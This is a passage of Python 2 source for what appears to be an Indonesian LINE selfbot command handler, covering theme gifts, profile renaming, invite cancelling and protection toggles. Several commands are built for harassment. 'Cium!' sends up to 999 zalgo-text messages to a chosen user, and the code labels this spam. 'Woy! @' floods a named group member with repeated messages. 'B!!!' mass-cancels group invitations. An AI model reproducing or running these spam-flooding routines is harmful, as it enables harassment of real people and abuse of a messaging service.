cl.sendMessage(msg)
elif msg.text in ["Bot2 Gift","Bot2 gift"]:
msg.contentType = 9
msg.contentMetadata={'PRDID': '3b92ccf5-54d3-4765-848f-c9ffdc1da020',
'PRDTYPE': 'THEME',
'MSGTPL': '3'}
msg.text = None
cl.sendMessage(msg)
elif msg.text in ["Bot3 Gift","Bot3 gift"]:
msg.contentType = 9
msg.contentMetadata={'PRDID': '3b92ccf5-54d3-4765-848f-c9ffdc1da020',
'PRDTYPE': 'THEME',
'MSGTPL': '4'}
msg.text = None
cl.sendMessage(msg)
elif msg.text in ["Bot4 Gift","Bot4 gift"]:
msg.contentType = 9
msg.contentMetadata={'PRDID': '3b92ccf5-54d3-4765-848f-c9ffdc1da020',
'PRDTYPE': 'THEME',
'MSGTPL': '5'}
msg.text = None
cl.sendMessage(msg)
#--------------------------------------------------------
elif msg.text in ["cancel","Cancel"]:
if msg.toType == 2:
X = cl.getGroup(msg.to)
if X.invitee is not None:
gInviMids = [contact.mid for contact in X.invitee]
cl.cancelGroupInvitation(msg.to, gInviMids)
cl.sendText(msg.to,"Sukses Mengancel Undangan")
else:
cl.sendText(msg.to,"No one is inviting")
else:
cl.sendText(msg.to,"Can not be used outside the group")
elif msg.text in ["B!!!"]:
if msg.toType == 2:
group = cl.getGroup(msg.to)
gMembMids = [contact.mid for contact in group.invitee]
for _mid in gMembMids:
cl.cancelGroupInvitation(msg.to,[_mid])
cl.sendText(msg.to,"")
cl.sendText(msg.to,"")
cl.sendText(msg.to,"")
#--------------------------------------------------------
elif "Contact" == msg.text:
msg.contentType = 13
msg.contentMetadata = {'mid': msg.to}
cl.sendMessage(msg)
elif "tgb1 mid" == msg.text:
cl.sendText(msg.to,kimid)
elif "tgb2 mid" == msg.text:
cl.sendText(msg.to,ki2mid)
elif "tgb3 mid" == msg.text:
cl.sendText(msg.to,ki3mid)
elif "tgb4 mid" == msg.text:
cl.sendText(msg.to,ki4mid)
elif "tgb5 mid" == msg.text:
cl.sendText(msg.to,ki5mid)
elif msg.text.lower() == '.rt':
eltime = time.time() - mulai
dan = "Bot sudah berjalan selama "+waktu(eltime)
cl.sendText(msg.to,dan)
elif "All mid" == msg.text:
cl.sendText(msg.to,kimid)
cl.sendText(msg.to,ki2mid)
cl.sendText(msg.to,ki3mid)
cl.sendText(msg.to,ki4mid)
cl.sendText(msg.to,ki5mid)
elif "TL: " in msg.text:
tl_text = msg.text.replace("TL: ","")
cl.sendText(msg.to,"line://home/post?userMid="+mid+"&postId="+cl.new_post(tl_text)["result"]["post"]["postInfo"]["postId"])
elif msg.text in ["Tag on"]:
if wait["tag"] == True:
if wait["lang"] == "JP":
cl.sendText(msg.to,"already on")
else:
cl.sendText(msg.to,"turned to on")
else:
wait["tag"] = True
if wait["lang"] == "JP":
cl.sendText(msg.to,"turned to on")
else:
cl.sendText(msg.to,"already on")
elif msg.text in ["Tag off"]:
if wait["tag"] == False:
if wait["lang"] == "JP":
cl.sendText(msg.to,"already off")
else:
cl.sendText(msg.to,"turned to off")
else:
wait["tag"] = False
if wait["lang"] == "JP":
cl.sendText(msg.to,"turned to off")
else:
cl.sendText(msg.to,"already off")
elif "Allname: " in msg.text:
string = msg.text.replace("Allname: ","")
if len(string.decode('utf-8')) <= 20:
profile = cl.getProfile()
profile.displayName = string
cl.updateProfile(profile)
if len(string.decode('utf-8')) <= 20:
profile = cl.getProfile()
profile.displayName = string
cl.updateProfile(profile)
if len(string.decode('utf-8')) <= 20:
profile = cl.getProfile()
profile.displayName = string
cl.updateProfile(profile)
if len(string.decode('utf-8')) <= 20:
profile = cl.getProfile()
profile.displayName = string
cl.updateProfile(profile)
if len(string.decode('utf-8')) <= 20:
profile = cl.getProfile()
profile.displayName = string
cl.updateProfile(profile)
elif "Allbio: " in msg.text:
string = msg.text.replace("Allbio: ","")
if len(string.decode('utf-8')) <= 500:
profile = cl.getProfile()
profile.statusMessage = string
cl.updateProfile(profile)
if len(string.decode('utf-8')) <= 500:
profile = cl.getProfile()
profile.statusMessage = string
cl.updateProfile(profile)
if len(string.decode('utf-8')) <= 500:
profile = cl.getProfile()
profile.statusMessage = string
cl.updateProfile(profile)
if len(string.decode('utf-8')) <= 500:
profile = cl.getProfile()
profile.statusMessage = string
cl.updateProfile(profile)
if len(string.decode('utf-8')) <= 500:
profile = cl.getProfile()
profile.statusMessage = string
cl.updateProfile(profile)
#---------------------------------------------------------
elif "1pro: " in msg.text:
string = msg.text.replace("1pro: ","")
if len(string.decode('utf-8')) <= 20:
profile = cl.getProfile()
profile.displayName = string
cl.updateProfile(profile)
cl.sendText(msg.to,"Update Names👉" + string + "👈")
#--------------------------------------------------------
elif "2pro: " in msg.text:
string = msg.text.replace("2pro: ","")
if len(string.decode('utf-8')) <= 20:
profile = cl.getProfile()
profile.displayName = string
cl.updateProfile(profile)
cl.sendText(msg.to,"Update Names👉" + string + "👈")
#--------------------------------------------------------
elif "3pro: " in msg.text:
string = msg.text.replace("3pro: ","")
if len(string.decode('utf-8')) <= 20:
profile = cl.getProfile()
profile.displayName = string
cl.updateProfile(profile)
cl.sendText(msg.to,"Update Names👉" + string + "👈")
#--------------------------------------------------------
elif "4pro: " in msg.text:
string = msg.text.replace("4pro: ","")
if len(string.decode('utf-8')) <= 20:
profile = cl.getProfile()
profile.displayName = string
cl.updateProfile(profile)
cl.sendText(msg.to,"Update Names👉" + string + "👈")
#--------------------------------------------------------
elif "5pro: " in msg.text:
string = msg.text.replace("5pro: ","")
if len(string.decode('utf-8')) <= 20:
profile = cl.getProfile()
profile.displayName = string
cl.updateProfile(profile)
cl.sendText(msg.to,"Update Names👉" + string + "👈")
#--------------------------------------------------------
elif "Mid: " in msg.text:
mmid = msg.text.replace("Mid: ","")
msg.contentType = 13
msg.contentMetadata = {"mid":mmid}
cl.sendMessage(msg)
elif "Cium! " in msg.text:
korban = msg.text.replace("Cium! ","")
korban2 = korban.split()
midd = korban2[0]
jumlah = int(korban2[1])
if jumlah <= 999:
for var in range(0,jumlah):
cl.sendText(midd,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜Ᏼøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
else:
cl.sendText(msg.to, "Kebanyakan gblk! ")
print "T E R S P A M"
elif "Add " in msg.text:
target = msg.text.replace("Add ","")
cl.findAndAddContactsByMid(target)
cl.sendText(msg.to, "Sukses Add " +cl.getContact(target).displayName+ " ")
print "Add user"
elif msg.text.lower() == 'contact on':
if wait["contact"] == True:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Sudah On")
else:
cl.sendText(msg.to,"It is already open")
else:
wait["contact"] = True
if wait["lang"] == "JP":
cl.sendText(msg.to,"already open 👈")
else:
cl.sendText(msg.to,"It is already open ")
elif msg.text.lower() == 'contact off':
if wait["contact"] == False:
if wait["lang"] == "JP":
cl.sendText(msg.to,"sudah off ô€œô€„‰👈")
else:
cl.sendText(msg.to,"It is already off ô€œ��ô€„‰👈")
else:
wait["contact"] = False
if wait["lang"] == "JP":
cl.sendText(msg.to,"off ô€œô€„‰already")
else:
cl.sendText(msg.to,"already Close ô€œô€„‰👈")
elif msg.text.lower() == 'protect on':
if wait["protect"] == True:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Ini sudah on 👈")
else:
cl.sendText(msg.to,"Hal ini sudah terbuka ô€¨👈")
else:
wait["protect"] = True
if wait["lang"] == "JP":
cl.sendText(msg.to,"already ON")
else:
cl.sendText(msg.to,"It is already On ô€¨")
elif msg.text.lower() == 'qrprotect on':
if wait["linkprotect"] == True:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Ini sudah on ��👈")
else:
cl.sendText(msg.to,"Hal ini sudah terbuka ô€¨👈")
else:
wait["linkprotect"] = True
if wait["lang"] == "JP":
cl.sendText(msg.to,"already ON")
else:
cl.sendText(msg.to,"It is already On ô€¨")
elif msg.text.lower() == 'inviteprotect on':
if wait["inviteprotect"] == True:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Ini sudah on 👈")
else:
cl.sendText(msg.to,"Hal ini sudah terbuka ô€¨����👈")
else:
wait["inviteprotect"] = True
if wait["lang"] == "JP":
cl.sendText(msg.to,"already ON")
else:
cl.sendText(msg.to,"It is already On ô€¨")
elif msg.text.lower() == 'cancelprotect on':
if wait["cancelprotect"] == True:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Ini sudah on 👈")
else:
cl.sendText(msg.to,"Hal ini sudah terbuka ô€¨👈")
else:
wait["cancelprotect"] = True
if wait["lang"] == "JP":
cl.sendText(msg.to,"already ON")
else:
cl.sendText(msg.to,"It is already On ô€¨")
elif msg.text.lower() == 'auto join on':
if wait["autoJoin"] == True:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Ini sudah off 👈")
else:
cl.sendText(msg.to,"Hal ini sudah terbuka ô€¨👈")
else:
wait["autoJoin"] = True
if wait["lang"] == "JP":
cl.sendText(msg.to,"already ON")
else:
cl.sendText(msg.to,"It is already On ô€¨")
elif msg.text in ["Allprotect on","Panick:on"]:
if msg.from_ in admin:
if wait["inviteprotect"] == True:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Ini sudah on 👈")
else:
cl.sendText(msg.to,"Already on")
else:
wait["inviteprotect"] = True
if wait["lang"] == "JP":
cl.sendText(msg.to,"Protect invite on ")
if wait["cancelprotect"] == True:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Ini sudah on 👈")
else:
cl.sendText(msg.to,"Already on")
else:
wait["cancelprotect"] = True
if wait["lang"] == "JP":
cl.sendText(msg.to,"Protect cancel on ")
if wait["protect"] == True:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Ini sudah on 👈")
else:
cl.sendText(msg.to,"Already on")
else:
wait["protect"] = True
if wait["lang"] == "JP":
cl.sendText(msg.to,"Protect on ")
else:
cl.sendText(msg.to,"Already on")
if wait["linkprotect"] == True:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Ini sudah on 👈")
else:
cl.sendText(msg.to,"Already on")
else:
wait["linkprotect"] = True
if wait["lang"] == "JP":
cl.sendText(msg.to,"Protect QR on ")
else:
cl.sendText(msg.to,"Already on")
elif msg.text in ["Allprotect off","Panick:off"]:
if msg.from_ in admin:
if wait["inviteprotect"] == False:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Ini sudah off 👈")
else:
cl.sendText(msg.to,"Already off")
else:
wait["inviteprotect"] = False
if wait["lang"] == "JP":
cl.sendText(msg.to,"Protect invite off ")
if wait["cancelprotect"] == False:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Ini sudah off 👈")
else:
cl.sendText(msg.to,"Already off")
else:
wait["cancelprotect"] = False
if wait["lang"] == "JP":
cl.sendText(msg.to,"Protect cancel off ")
if wait["protect"] == False:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Ini sudah off 👈")
else:
cl.sendText(msg.to,"Already off")
else:
wait["protect"] = False
if wait["lang"] == "JP":
cl.sendText(msg.to,"Protect off ")
else:
cl.sendText(msg.to,"Already off")
if wait["linkprotect"] == False:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Ini sudah off 👈")
else:
cl.sendText(msg.to,"Already off")
else:
wait["linkprotect"] = False
if wait["lang"] == "JP":
cl.sendText(msg.to,"Protect QR off ")
else:
cl.sendText(msg.to,"Already off")
elif msg.text.lower() == 'auto join off':
if wait["autoJoin"] == False:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Auto Join Already Off")
else:
cl.sendText(msg.to,"Auto Join set off")
else:
wait["autoJoin"] = False
if wait["lang"] == "JP":
cl.sendText(msg.to,"already close")
else:
cl.sendText(msg.to,"It is already open ô€œ👈")
elif msg.text in ["Protect off"]:
if wait["protect"] == False:
if wait["lang"] == "JP":
cl.sendText(msg.to,"hall ini sudah off ô€œ👈")
else:
cl.sendText(msg.to,"sudah dimatikan ô€œô€„‰👈")
else:
wait["protect"] = False
if wait["lang"] == "JP":
cl.sendText(msg.to,"already close")
else:
cl.sendText(msg.to,"It is already open ô€œ👈")
elif msg.text in ["Qrprotect off","qrprotect off"]:
if wait["linkprotect"] == False:
if wait["lang"] == "JP":
cl.sendText(msg.to,"hall ini sudah off ô€œ👈")
else:
cl.sendText(msg.to,"sudah dimatikan ô€œô€„‰👈")
else:
wait["linkprotect"] = False
if wait["lang"] == "JP":
cl.sendText(msg.to,"already close")
else:
cl.sendText(msg.to,"It is already open ô€œ👈")
elif msg.text in ["Inviteprotect off","inviteprotect off"]:
if wait["inviteprotect"] == False:
if wait["lang"] == "JP":
cl.sendText(msg.to,"hall ini sudah off ô€œ👈")
else:
cl.sendText(msg.to,"sudah dimatikan ô€œô€„‰👈")
else:
wait["inviteprotect"] = False
if wait["lang"] == "JP":
cl.sendText(msg.to,"already close")
else:
cl.sendText(msg.to,"It is already open ô€œ👈")
elif msg.text in ["Cancelprotect off","cancelprotect off"]:
if wait["cancelprotect"] == False:
if wait["lang"] == "JP":
cl.sendText(msg.to,"hall ini sudah off ô€œ👈")
else:
cl.sendText(msg.to,"sudah dimatikan ô€œô€„‰👈")
else:
wait["cancelprotect"] = False
if wait["lang"] == "JP":
cl.sendText(msg.to,"already close")
else:
cl.sendText(msg.to,"It is already open ô€œ👈")
elif "Group cancel: " in msg.text:
try:
strnum = msg.text.replace("Group cancel: ","")
if strnum == "off":
wait["autoCancel"]["on"] = False
if wait["lang"] == "JP":
cl.sendText(msg.to,"Itu off undangan ditolak👈\nSilakan kirim dengan menentukan jumlah orang ketika Anda menghidupkan👈")
else:
cl.sendText(msg.to,"Off undangan ditolak👈Sebutkan jumlah terbuka ketika Anda ingin mengirim")
else:
num = int(strnum)
wait["autoCancel"]["on"] = True
if wait["lang"] == "JP":
cl.sendText(msg.to,strnum + "Kelompok berikut yang diundang akan ditolak secara otomatis👈")
else:
cl.sendText(msg.to,strnum + "The team declined to create the following automatic invitation")
except:
if wait["lang"] == "JP":
kk.sendText(msg.to,"Nilai tidak benar👈")
else:
cl.sendText(msg.to,"Weird value🛡")
elif msg.text in ["Leave on","Auto leave: on"]:
if wait["leaveRoom"] == True:
if wait["lang"] == "JP":
cl.sendText(msg.to,"on👈")
else:
cl.sendText(msg.to,"Sudah terbuka ")
else:
wait["leaveRoom"] = True
if wait["lang"] == "JP":
cl.sendText(msg.to,"Done👈")
else:
cl.sendText(msg.to,"Is already open👈")
elif msg.text in ["Leave off","Auto leave: off"]:
if wait["leaveRoom"] == False:
if wait["lang"] == "JP":
cl.sendText(msg.to,"on👈")
else:
cl.sendText(msg.to,"Sudah off👈")
else:
wait["leaveRoom"] = False
if wait["lang"] == "JP":
cl.sendText(msg.to,"Done👈")
else:
cl.sendText(msg.to,"Is already close👈")
elif msg.text in ["Share on","share on"]:
if wait["timeline"] == True:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Done ")
else:
cl.sendText(msg.to,"Hal ini sudah terbuka👈")
else:
wait["timeline"] = True
if wait["lang"] == "JP":
cl.sendText(msg.to,"on👈")
else:
cl.sendText(msg.to,"on👈")
elif msg.text in ["Share off","share off"]:
if wait["timeline"] == False:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Done👈")
else:
cl.sendText(msg.to,"It is already turned off 👈")
else:
wait["timeline"] = False
if wait["lang"] == "JP":
cl.sendText(msg.to,"Off👈")
else:
cl.sendText(msg.to,"Off👈")
elif msg.text.lower() == 'set':
md = ""
if wait["contact"] == True: md+="Dᴀғᴛᴀʀ Sᴇᴛᴛɪɴɢ\n\n▩ Cᴏɴᴛᴀᴄᴛ → ✓\n"
else: md+="Dᴀғᴛᴀʀ Sᴇᴛᴛɪɴɢ\n\n▩ Cᴏɴᴛᴀᴄᴛ → ✗\n"
if wait["autoJoin"] == True: md+="▩ Aᴜᴛᴏ ᴊᴏɪɴ → ✓\n"
else: md+="▩ Aᴜᴛᴏ ᴊᴏɪɴ → ✗\n"
if wait["autoCancel"]["on"] == True:md+="▩ ᴀᴜᴛᴏ ᴄᴀɴᴄᴇʟ: " + str(wait["autoCancel"]["members"]) + " → ✓\n"
else: md+="▩ ᴀᴜᴛᴏ ᴄᴀɴᴄᴇʟ → ✗\n"
if wait["leaveRoom"] == True: md+="▩ Aᴜᴛᴏ ʟᴇᴀᴠᴇ → ✓\n"
else: md+="▩ Aᴜᴛᴏ ʟᴇᴀᴠᴇ → ✗\n"
if wait["timeline"] == True: md+="▩ sʜᴀʀᴇ → ✓\n"
else:md+="▩ sʜᴀʀᴇ → ✗\n"
if wait["autoAdd"] == True: md+="▩ Aᴜᴛᴏ ᴀᴅᴅ → ✓\n"
else:md+="▩ Aᴜᴛᴏ ᴀᴅᴅ → ✗\n"
if wait["commentOn"] == True: md+="▩ Aᴜᴛᴏ ᴄᴏᴍᴍᴇɴᴛ→ ✓\n"
else:md+="▩ Aᴜᴛᴏ ᴄᴏᴍᴍᴇɴᴛ → ✗\n"
if wait["protect"] == True: md+="▩ Pʀᴏᴛᴇᴄᴛ → ✓\n"
else:md+="▩ Pʀᴏᴛᴇᴄᴛ → ✗\n"
if wait["linkprotect"] == True: md+="▩ ǫʀᴘʀᴏᴛᴇᴄᴛ → ✓\n"
else:md+="▩ ǫʀᴘʀᴏᴛᴇᴄᴛ → ✗\n"
if wait["inviteprotect"] == True: md+="▩ Iɴᴠɪᴛᴇᴘʀᴏᴛᴇᴄᴛ → ✓\n"
else:md+="▩ Iɴᴠɪᴛᴇᴘʀᴏᴛᴇᴄᴛ → ✗\n"
if wait["cancelprotect"] == True: md+="▩ Cᴀɴᴄᴇʟᴘʀᴏᴛᴇᴄᴛ → ✓\n"
else:md+="▩ Cᴀɴᴄᴇʟᴘʀᴏᴛᴇᴄᴛ → ✗\n"
if wait["likeOn"] == True: md+="▩ Aᴜᴛᴏ ʟɪᴋᴇ → ✓\n"
else:md+="▩ ʟɪᴋᴇ → ✗\n"
if wait["tag"] == True: md+="▩ Tᴀɢ → ✓\n\nPᴏᴡᴇʀᴇᴅ ʙʏ:\nᎢ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜Ᏼøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞"
else:md+="▩ Tᴀɢ → ✗\n\nPᴏᴡᴇʀᴇᴅ ʙʏ:\nᎢ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜Ᏼøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞"
cl.sendText(msg.to,md)
#cl.sendText(msg.to,"ɪᴅ ʟɪɴᴇ: line://ti/p/~amiiqila_\n\nʙɪʟᴀ ᴀᴅᴀ ᴘᴇʀʟᴜ ᴘᴄ ᴋᴏɴᴛᴀᴋ ᴅɪʙᴀᴡᴀʜ 😁")
#msg.contentType = 13
#msg.contentMetadata = {'mid': crash}
#cl.sendMessage(msg)
elif msg.text in ["Like on"]:
if wait["likeOn"] == True:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Done。")
else:
wait["likeOn"] = True
if wait["lang"] == "JP":
cl.sendText(msg.to,"Already。")
elif msg.text in ["いいね:オフ","Like off"]:
if wait["likeOn"] == False:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Done。")
else:
wait["likeOn"] = False
if wait["lang"] == "JP":
cl.sendText(msg.to,"Already。")
elif msg.text in ["Longname","longname",".ln"]:
cl.sendText(msg.to,"[チェックボックス][チェックボックス][チェックボックス][チェックボックス][チェックボックス][チェックボックス][チェックボックス][チェックボックス][チェックボックス][チェックボックス][チェックボックス][チェックボックス][チェックボックス][チェックボックス][チェックボックス][チェックボックス]")
elif msg.text in ["Add on","Add auto on"]:
if wait["autoAdd"] == True:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Already On")
else:
cl.sendText(msg.to,"Already On👈")
else:
wait["autoAdd"] = True
if wait["lang"] == "JP":
cl.sendText(msg.to,"Already On👈")
else:
cl.sendText(msg.to,"Already On👈")
elif msg.text in ["Add off","Add auto off"]:
if wait["autoAdd"] == False:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Hal ini sudah off👈")
else:
cl.sendText(msg.to,"Hal ini sudah dimatikan👈")
else:
wait["autoAdd"] = False
if wait["lang"] == "JP":
cl.sendText(msg.to,"Already Off👈")
else:
cl.sendText(msg.to,"Untuk mengaktifkan-off👈")
elif "Message set: " in msg.text:
wait["message"] = msg.text.replace("Message set: ","")
cl.sendText(msg.to,"We changed the message👈")
elif "Help set: " in msg.text:
wait["help"] = msg.text.replace("Help set: ","")
cl.sendText(msg.to,"We changed the Help👈")
elif "Pesan add: " in msg.text:
wait["message"] = msg.text.replace("Pesan add: ","")
if wait["lang"] == "JP":
cl.sendText(msg.to,"Kami mengubah pesan🛡")
else:
cl.sendText(msg.to,"Change information")
elif msg.text in ["Pesan add cek","Message Confirmation"]:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Additional information is automatically set to the following \n\n" + wait["message"])
else:
cl.sendText(msg.to,"Pesan tambahan otomatis telah ditetapkan sebagai berikut \n\n" + wait["message"])
elif msg.text in ["Change","change"]:
if wait["lang"] =="JP":
wait["lang"] = "TW"
cl.sendText(msg.to,"I changed the language to engglis👈")
else:
wait["lang"] = "JP"
cl.sendText(msg.to,"I changed the language to indonesia👈")
elif "Message set: " in msg.text:
c = msg.text.replace("Message set: ","")
if c in [""," ","\n",None]:
cl.sendText(msg.to,"Is a string that can not be changed👈")
else:
wait["comment"] = c
cl.sendText(msg.to,"This has been changed👈\n\n" + c)
elif "Comment set: " in msg.text:
c = msg.text.replace("Comment set: ","")
if c in [""," ","\n",None]:
cl.sendText(msg.to,"Merupakan string yang tidak bisa diubah👈")
else:
wait["comment"] = c
cl.sendText(msg.to,"Ini telah diubah👈\n\n" + c)
elif msg.text in ["Com on","Com:on","Comment on"]:
if wait["commentOn"] == True:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Aku berada di👈")
else:
cl.sendText(msg.to,"To open👈")
else:
wait["commentOn"] = True
if wait["lang"] == "JP":
cl.sendText(msg.to,"It is already turned on")
else:
cl.sendText(msg.to,"è¦äº†å¼€👈")
elif msg.text in ["Flist"]:
if msg.from_ in admin:
if wait["teman"] == {}:
cl.sendText(msg.to,"nothing")
else:
cl.sendText(msg.to,"Daftar teman teman ku ada dibawah ini")
mc = ""
for mi_d in wait["teman"]:
mc += "->" +cl.getContact(mi_d).displayName + "\n"
cl.sendText(msg.to,mc)
elif msg.text in ["Com off"]:
if wait["commentOn"] == False:
if wait["lang"] == "JP":
cl.sendText(msg.to,"It is already turned off")
else:
cl.sendText(msg.to,"It is already turned off")
else:
wait["commentOn"] = False
if wait["lang"] == "JP":
cl.sendText(msg.to,"Off👈")
else:
cl.sendText(msg.to,"To turn off")
elif msg.text in ["Com","Comment"]:
cl.sendText(msg.to,"Auto Comment saat ini telah ditetapkan sebagai berikut:👈\n\n" + str(wait["comment"]))
elif msg.text in ["Com Bl"]:
wait["wblack"] = True
cl.sendText(msg.to,"Please send contacts from the person you want to add to the banlist…”👈")
elif msg.text in ["Com hapus Bl"]:
wait["dblack"] = True
cl.sendText(msg.to,"Please send contacts from the person you want to add from the banlist…”👈")
elif msg.text in ["Com Bl cek"]:
if wait["commentBlack"] == {}:
cl.sendText(msg.to,"Nothing in the blacklistô€œ🛡")
else:
cl.sendText(msg.to,"The following is a blacklistô€œ👈")
mc = ""
for mi_d in wait["commentBlack"]:
mc += "・" +cl.getContact(mi_d).displayName + "\n"
cl.sendText(msg.to,mc)
elif msg.text.lower() == 'jam on':
if wait["clock"] == True:
cl.sendText(msg.to,"Sudah On 😊")
else:
wait["clock"] = True
now2 = datetime.now()
nowT = datetime.strftime(now2,"(%H:%M)")
profile = cl.getProfile()
profile.displayName = wait["cName"] + nowT
cl.updateProfile(profile)
cl.sendText(msg.to,"👉Jam on👈")
elif msg.text.lower() == 'jam off':
if wait["clock"] == False:
cl.sendText(msg.to,"Hal ini sudah off🛡")
else:
wait["clock"] = False
cl.sendText(msg.to,"Adalah Off")
elif "Woy! @" in msg.text:
_name = msg.text.replace("Woy! @","")
_nametarget = _name.rstrip(' ')
gs = cl.getGroup(msg.to)
for g in gs.members:
if _nametarget == g.displayName:
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
